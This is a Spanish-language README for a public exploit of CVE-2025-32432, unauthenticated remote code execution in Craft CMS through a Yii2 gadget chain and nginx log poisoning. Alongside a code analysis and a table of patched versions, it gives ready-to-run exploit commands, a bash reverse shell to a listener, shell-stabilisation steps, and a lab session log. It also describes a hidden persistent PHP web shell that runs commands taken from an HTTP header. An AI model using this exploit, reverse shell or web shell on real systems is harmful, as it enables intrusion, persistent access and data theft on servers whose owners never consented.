
PoC funcional para CVE-2025-32432 - RCE no autenticado en Craft CMS <= 5.6.16 mediante el gadget Yii2 PhpManager + envenenamiento de access.log de nginx
Prueba de concepto funcional para CVE-2025-32432, una vulnerabilidad de ejecución remota de código no autenticada en Craft CMS versiones hasta e incluyendo 5.6.16 (también afecta a las ramas 4.x y 3.x en rutas de código equivalentes).
Palabras clave de búsqueda: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit,
Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior,
nginx log poisoning Craft, unauth RCE craftcms 2025.
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
El modo predeterminado apunta a instalaciones vanilla de Craft CMS. Se incluye una bandera --lab para el desafío carangueijada-20 del proyecto hacklab-platform, que protege Craft detrás de una cookie de sesión personalizada.
Componente afectado: craft\controllers\AssetsController::actionGenerateTransform.
La acción está registrada como allowAnonymous, por lo que no se requiere autenticación. Acepta un parámetro POST handle que luego se propaga en una llamada a Craft::createObject():
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
Cuando $handle es un array asociativo bajo control del atacante, la propagación inyecta claves arbitrarias en la configuración del constructor. En particular, una clave que comienza con as es interpretada por yii\base\Component::__set como una asignación de comportamiento, lo que llama a Yii::createObject($config) sobre el valor antes de cualquier verificación de tipo:
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
La corrección en Yii2 2.0.50 añadió una comprobación is_subclass_of($value['class'], Behavior::class) en esta rama; las instalaciones vulnerables (Yii2 <= 2.0.49, o comprobaciones parcheadas anteriormente eliminadas) omiten la protección por completo.
yii\rbac\PhpManagerPhpManager es una clase estándar de Yii2. Su init() llama a load(), que a su vez llama a loadFromFile($this->itemFile). loadFromFile es literalmente:
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
require interpreta cualquier archivo en disco como PHP. Si el archivo contiene un bloque <?php ... ?>, dicho bloque se ejecuta en el worker. Al apuntar itemFile a un archivo cuyo contenido el atacante controla, se logra RCE completo.
access.log de nginxEl sumidero fiable entre instalaciones es el access.log de nginx en formato combinado. Registra el User-Agent de la solicitud textualmente, incluidos caracteres no imprimibles y la mayoría de signos de puntuación. Al enviar una solicitud cuyo User-Agent es <?php system('id'); exit; ?>, el atacante planta un bloque PHP en una ruta conocida. Apuntar itemFile a /var/log/nginx/access.log luego ejecuta require sobre el log, ejecutando todos los bloques <?php ... ?> en orden.
Dos sutilezas importantes:
" a \x22 en el formato combinado, lo que rompe el análisis PHP de la línea. Use comillas simples o concatenación con chr().exit; al final para que require aborté antes de analizar líneas posteriores del log que puedan contener otros payloads malformados.| Componente | Vulnerable | Corregido |
|---|---|---|
| Craft CMS | <= 5.6.16 | 5.6.17 |
| Craft CMS | <= 4.15.2 | 4.15.3 |
| Craft CMS | <= 3.9.14 | 3.9.15 |
| Yii2 | <= 2.0.49 | 2.0.50 |
Craft 5.6.17 añade una comprobación de ImageTransformerInterface en la clase del transformador. Yii2 2.0.50 añade una comprobación de subclase Behavior en Component::__set. Cualquiera de las dos correcciones por sí sola cierra esta cadena de gadgets exacta.
requests (pip install -r requirements.txt)assetId válido de Craft en el objetivo. Por defecto 2; sobrescribir con -a <id> si es necesario (el asset id 1 suele ser el avatar del administrador).python3 exploit.py -u http://victim.tld -c 'id'
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
itemFile personalizado (ruta de log diferente, sesión FPM, etc.)python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
El laboratorio carangueijada-20 del proyecto hacklab-platform protege la instalación de Craft detrás de una cookie coopsess emitida por PATCH /login. La bandera --lab maneja ese handshake automáticamente.
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
Asegúrese de que www.carangueijada.coop resuelva a la IP del laboratorio (agregar a /etc/hosts si es necesario).
La bandera --revshell lanza un bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 en segundo plano, de modo que el POST del gadget retorna inmediatamente.
Flujo de dos terminales (más fiable):
# terminal 1 - listener en tu máquina
nc -lvnp 4444
# terminal 2 - disparar exploit
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
Flujo de una terminal con listener integrado:
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
--auto-listen ejecuta nc -lvnp <lport> en la misma terminal antes de disparar el payload. Ctrl+C para salir cuando haya terminado.
Ejemplo de sesión (laboratorio):
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*] coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Reverse shell fired.
# in the listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
Estabilizando la shell (después de la conexión, ejecutar dentro de la reverse shell):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z para enviar nc al fondo
stty raw -echo; fg
# Enter dos veces
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
En la primera ejecución, el exploit envenena access.log una vez para dejar un wrapper PHP oculto en /tmp/.cve32432_w.php. El wrapper lee la cabecera HTTP X-Cmd y ejecuta system($_SERVER['HTTP_X_CMD']). Cada envío subsiguiente apunta itemFile al archivo wrapper y pasa el comando mediante la cabecera. No más envenenamientos, no más contaminación del log, no más fallos de "el primer bloque <?php exit; ?> gana".